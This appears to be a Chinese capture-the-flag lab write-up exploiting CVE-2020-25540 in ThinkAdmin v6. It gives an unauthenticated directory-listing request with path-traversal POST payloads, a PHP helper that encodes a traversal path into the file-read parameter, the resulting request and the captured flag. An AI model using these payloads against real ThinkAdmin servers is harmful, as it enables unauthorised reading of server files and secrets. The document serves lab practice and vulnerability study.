春秋云镜 CVE-2020-25540 Thinkadmin v6任意文件读取漏洞
靶标介绍
ThinkAdmin 6版本存在路径查找漏洞,可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
启动场景
漏洞利用
1、未授权列目录poc
读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node
POST:
rules=[“/”]
rules=[“…/…/…/”] (目录穿越)
2、任意文件读取
使用加密函数对文件名进行加密
<?php
function encode($content)
{
[$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
return $chars;
}
$content="../../../flag";
echo encode($content);
?>
加密后的文件名为1a1a1b1a1a1b1a1a1b2u302p2v
请求http://eci-2ze3dysieeo26l90ip96.cloudeci1.ichunqiu.com/admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2u302p2v
base64解密得到文件内容
得到flag
flag{cef71ab7-c930-408d-8074-52350766063b}